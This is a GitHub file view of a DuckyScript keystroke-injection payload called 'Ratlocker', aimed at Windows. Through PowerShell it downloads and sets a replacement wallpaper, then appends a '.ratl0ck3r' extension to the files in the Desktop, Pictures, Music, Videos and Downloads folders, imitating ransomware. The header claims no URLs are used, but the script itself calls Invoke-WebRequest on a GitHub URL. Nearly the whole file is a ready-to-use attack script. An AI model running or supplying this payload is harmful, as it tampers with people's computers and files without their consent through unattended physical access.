-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpayload.txt
64 lines (60 loc) · 2.13 KB
/
payload.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
REM Title: Ratlocker
REM Author: Ratcode404(.github.io) (special thanks to them)
REM Target: Windows
REM Description: Adds ratcode file extensions, draws and sets background without the use of URLs or image download (avoid proxy blocking and detection). The original wallpaper will be backuped on \pictures\wallpaper.ratl0ck3r, so no files will be lost. The current setup only targets the files and folder structures on $HOME\Desktop\, but it could be easily extended by adjusting the path variable further down.
REM Base delay after initiation and ps1 startup
DELAY 250
GUI d
GUI r
DELAY 100
STRING powershell.exe
ENTER
DELAY 250
REM Backup Wallpaper
STRING Copy-Item "$HOME\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper" -Destination $HOME\AppData\Local\Temp\YourOldWallpaper.png
DELAY 250
REM download new wallpaper
STRING Invoke-WebRequest https://raw.githubusercontent.com/WalkTheEarth/ratlocker/main/RatLocker.png -OutFile $HOME\AppData\Local\Temp\RatLocker.png
REM Set new wallpaper
STRING $MyWallpaper="$HOME\AppData\Local\Temp\RatLocker.png"
ENTER
STRING $code = @'
ENTER
STRING using System.Runtime.InteropServices;
ENTER
STRING namespace Win32{
ENTER
STRING public class Wallpaper{
ENTER
STRING [DllImport("user32.dll", CharSet=CharSet.Auto)]
ENTER
STRING static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;
ENTER
STRING public static void SetWallpaper(string thePath){
ENTER
STRING SystemParametersInfo(20,0,thePath,3);
ENTER
STRING }
ENTER
STRING }
ENTER
STRING }
ENTER
STRING '@
ENTER
STRING add-type $code
ENTER
STRING [Win32.Wallpaper]::SetWallpaper($MyWallpaper)
ENTER
DELAY 500
REM Add ratl0ck3r extension
STRING dir $HOME\Desktop\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
ENTER
STRING dir $HOME\Pictures\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
ENTER
STRING dir $HOME\Music\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
ENTER
STRING dir $HOME\Videos\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
ENTER
STRING dir $HOME\Downloads\* | Rename-Item -NewName {$_.name + ".ratl0ck3r"}
ENTER